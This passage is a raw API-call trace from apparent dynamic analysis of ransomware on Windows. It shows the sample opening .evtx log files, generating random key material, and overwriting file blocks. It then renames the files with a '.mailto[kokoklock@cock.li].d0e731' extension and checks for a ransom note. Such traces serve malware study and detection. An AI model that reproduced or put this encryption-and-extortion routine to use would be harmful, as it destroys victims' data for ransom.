lpNumberOfBytesWritten=0x70af8c4, lpOverlapped=0x0 | out: lpBuffer=0x33e4cd8*, lpNumberOfBytesWritten=0x70af8c4*=0x8, lpOverlapped=0x0) returned 1 [0060.643] WriteFile (in: hFile=0x5b0, lpBuffer=0x70af8dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x70af8c4, lpOverlapped=0x0 | out: lpBuffer=0x70af8dc*, lpNumberOfBytesWritten=0x70af8c4*=0x4, lpOverlapped=0x0) returned 1 [0060.643] WriteFile (in: hFile=0x5b0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x70af8c4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x70af8c4*=0x4, lpOverlapped=0x0) returned 1 [0060.643] WriteFile (in: hFile=0x5b0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x70af8c4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x70af8c4*=0x6c, lpOverlapped=0x0) returned 1 [0060.643] WriteFile (in: hFile=0x5b0, lpBuffer=0x33e4c38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x70af8c4, lpOverlapped=0x0 | out: lpBuffer=0x33e4c38*, lpNumberOfBytesWritten=0x70af8c4*=0x20, lpOverlapped=0x0) returned 1 [0060.643] WriteFile (in: hFile=0x5b0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x70af8c4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x70af8c4*=0x4, lpOverlapped=0x0) returned 1 [0060.643] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c38) returned 1 [0060.643] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4e68) returned 1 [0060.643] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4cd8) returned 1 [0060.643] CloseHandle (hObject=0x5b0) returned 1 [0060.646] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf0) returned 0x347a4e0 [0060.646] wcscpy (in: _Dest=0x347a4e0, _Source="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" [0060.646] wcscat (in: _Dest=0x347a4e0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731" [0060.646] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0060.647] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0060.648] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a4e0) returned 1 [0060.648] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", dwFileAttributes=0x20) returned 0 [0060.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x34339e8 [0060.648] wcscpy (in: _Dest=0x34339e8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0060.648] wcscat (in: _Dest=0x34339e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0060.648] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0060.648] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34339e8) returned 1 [0060.648] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3988) returned 1 [0060.648] RtlExitUserThread (Status=0x1) Thread: id = 74 os_tid = 0x2d0 [0060.644] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20 [0060.649] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0060.649] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0 [0060.649] GetFileSizeEx (in: hFile=0x5b0, lpFileSize=0x712f92c | out: lpFileSize=0x712f92c*=1052672) returned 1 [0060.649] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x100ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.649] ReadFile (in: hFile=0x5b0, lpBuffer=0x712f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x712f8fc, lpOverlapped=0x0 | out: lpBuffer=0x712f900*, lpNumberOfBytesRead=0x712f8fc*=0x4, lpOverlapped=0x0) returned 1 [0060.651] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4dc8 [0060.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c38 [0060.651] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4cd8 [0060.651] NtQuerySystemTime (in: CurrentTime=0x712f8d8 | out: CurrentTime=0x712f8d8*=132121176185394620) returned 0x0 [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0xb4042f8a [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0xfb23740c [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x3a4dc987 [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x13beb5a3 [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0xe09f3854 [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x5ef2747b [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x35e64c2b [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x52c26633 [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0xbb51b40a [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x3c25a98c [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0xa80268b7 [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x7f482bda [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x3da68977 [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0xdc90179d [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x61a7221b [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x14536e42 [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x1974d90a [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x7169aa57 [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0xdfb423ca [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x91f0d4f8 [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x18450b81 [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x390698ab [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x5984c6f8 [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0xd263c5bc [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0xbf4fd64c [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x8f56cbed [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0xadf82b33 [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x190ebccd [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x7725e5a4 [0060.651] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0xd8fdc854 [0060.652] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0x628678c0 [0060.652] RtlRandom (in: Seed=0x712f8e4 | out: Seed=0x712f8e4) returned 0xa672d5ee [0060.660] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c60 [0060.662] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0060.662] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c88 [0060.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0060.662] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4dc8) returned 1 [0060.662] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.662] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.662] ReadFile (in: hFile=0x5b0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x712f898, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x712f898*=0x4096, lpOverlapped=0x0) returned 1 [0060.663] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.663] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.663] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0060.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4d00 [0060.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4d00) returned 1 [0060.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34862b8 [0060.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4d00 [0060.664] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e68 [0060.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4e68) returned 1 [0060.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0060.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.664] WriteFile (in: hFile=0x5b0, lpBuffer=0x34862b8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x712f898, lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesWritten=0x712f898*=0x4096, lpOverlapped=0x0) returned 1 [0060.664] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34862b8) returned 1 [0060.664] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.665] ReadFile (in: hFile=0x5b0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x712f898, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x712f898*=0x4096, lpOverlapped=0x0) returned 1 [0060.666] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.666] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.666] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0060.666] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4d28 [0060.666] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4d28) returned 1 [0060.666] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34862b8 [0060.666] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4d28 [0060.666] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4dc8 [0060.666] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4dc8) returned 1 [0060.666] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0060.666] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.666] WriteFile (in: hFile=0x5b0, lpBuffer=0x34862b8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x712f898, lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesWritten=0x712f898*=0x4096, lpOverlapped=0x0) returned 1 [0060.667] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34862b8) returned 1 [0060.667] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0xfcf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.667] ReadFile (in: hFile=0x5b0, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x712f898, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x712f898*=0x4096, lpOverlapped=0x0) returned 1 [0060.668] SetFilePointerEx (in: hFile=0x5b0, liDistanceToMove=0xfcf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.668] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0060.668] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0060.668] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4d50 [0060.668] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4d50) returned 1 [0060.668] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34862b8 [0060.669] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4da0 [0060.669] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4e68 [0060.669] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4e68) returned 1 [0060.669] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0060.669] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0060.669] WriteFile (in: hFile=0x5b0, lpBuffer=0x34862b8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x712f898, lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesWritten=0x712f898*=0x4096, lpOverlapped=0x0) returned 1 [0060.669] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34862b8) returned 1 [0060.669] WriteFile (in: hFile=0x5b0, lpBuffer=0x33e4d00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x712f8f4, lpOverlapped=0x0 | out: lpBuffer=0x33e4d00*, lpNumberOfBytesWritten=0x712f8f4*=0x20, lpOverlapped=0x0) returned 1 [0060.669] WriteFile (in: hFile=0x5b0, lpBuffer=0x33e4d28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x712f8f4, lpOverlapped=0x0 | out: lpBuffer=0x33e4d28*, lpNumberOfBytesWritten=0x712f8f4*=0x20, lpOverlapped=0x0) returned 1 [0060.669] WriteFile (in: hFile=0x5b0, lpBuffer=0x33e4da0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x712f8f4, lpOverlapped=0x0 | out: lpBuffer=0x33e4da0*, lpNumberOfBytesWritten=0x712f8f4*=0x20, lpOverlapped=0x0) returned 1 [0060.669] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0060.669] WriteFile (in: hFile=0x5b0, lpBuffer=0x33e4c88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x712f8fc, lpOverlapped=0x0 | out: lpBuffer=0x33e4c88*, lpNumberOfBytesWritten=0x712f8fc*=0x8, lpOverlapped=0x0) returned 1 [0060.670] WriteFile (in: hFile=0x5b0, lpBuffer=0x712f914*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x712f8fc, lpOverlapped=0x0 | out: lpBuffer=0x712f914*, lpNumberOfBytesWritten=0x712f8fc*=0x4, lpOverlapped=0x0) returned 1 [0060.670] WriteFile (in: hFile=0x5b0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x712f8fc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x712f8fc*=0x4, lpOverlapped=0x0) returned 1 [0060.670] WriteFile (in: hFile=0x5b0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x712f8fc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x712f8fc*=0x6c, lpOverlapped=0x0) returned 1 [0060.670] WriteFile (in: hFile=0x5b0, lpBuffer=0x33e4c38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x712f8fc, lpOverlapped=0x0 | out: lpBuffer=0x33e4c38*, lpNumberOfBytesWritten=0x712f8fc*=0x20, lpOverlapped=0x0) returned 1 [0060.670] WriteFile (in: hFile=0x5b0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x712f8fc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x712f8fc*=0x4, lpOverlapped=0x0) returned 1 [0060.670] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c38) returned 1 [0060.670] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c60) returned 1 [0060.670] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c88) returned 1 [0060.670] CloseHandle (hObject=0x5b0) returned 1 [0062.715] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x341a5f8 [0062.715] wcscpy (in: _Dest=0x341a5f8, _Source="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" [0062.715] wcscat (in: _Dest=0x341a5f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0062.715] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0062.718] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0062.718] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a5f8) returned 1 [0062.718] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0062.719] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433f68 [0062.719] wcscpy (in: _Dest=0x3433f68, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0062.719] wcscat (in: _Dest=0x3433f68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0062.719] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0062.719] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433f68) returned 1 [0062.719] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6678) returned 1 [0062.719] RtlExitUserThread (Status=0x1) Thread: id = 75 os_tid = 0x394 [0060.668] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20 [0060.686] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx", dwFileAttributes=0x20) returned 1 [0060.686] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0060.686] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x71afe44 | out: lpFileSize=0x71afe44*=69632) returned 1 [0060.686] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.686] ReadFile (in: hFile=0x5b4, lpBuffer=0x71afe18, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x71afe14, lpOverlapped=0x0 | out: lpBuffer=0x71afe18*, lpNumberOfBytesRead=0x71afe14*=0x4, lpOverlapped=0x0) returned 1 [0060.688] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.688] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4dc8 [0060.688] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c38 [0060.688] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4d50 [0060.688] NtQuerySystemTime (in: CurrentTime=0x71afdf0 | out: CurrentTime=0x71afdf0*=132121176185863621) returned 0x0 [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x9fcf22db [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0xfd50b999 [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x6dbaea9 [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x672e6e7e [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x66157c1f [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x17119451 [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x6ca9a8c [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x543af0c9 [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0xd0acfcfc [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x8f221b79 [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0xbb897246 [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0xb54e3dd2 [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x78bee837 [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x9afe6ec8 [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x61423a57 [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x61f2b7c7 [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x2e7db77a [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0xae029eef [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0xbd8cba30 [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x17931194 [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x6bb6b666 [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x548b7ad4 [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x8796e91e [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x38474ada [0060.688] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0xd48d4509 [0060.689] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x73c2c411 [0060.689] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0xe1aa9a59 [0060.689] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x2936e553 [0060.689] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0xe54afdd7 [0060.689] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0xcd232b61 [0060.689] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x860ba4da [0060.689] RtlRandom (in: Seed=0x71afdfc | out: Seed=0x71afdfc) returned 0x42ea2570 [0060.697] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c60 [0060.699] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0060.699] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c88 [0060.699] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0060.699] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4dc8) returned 1 [0060.699] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0060.699] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.699] 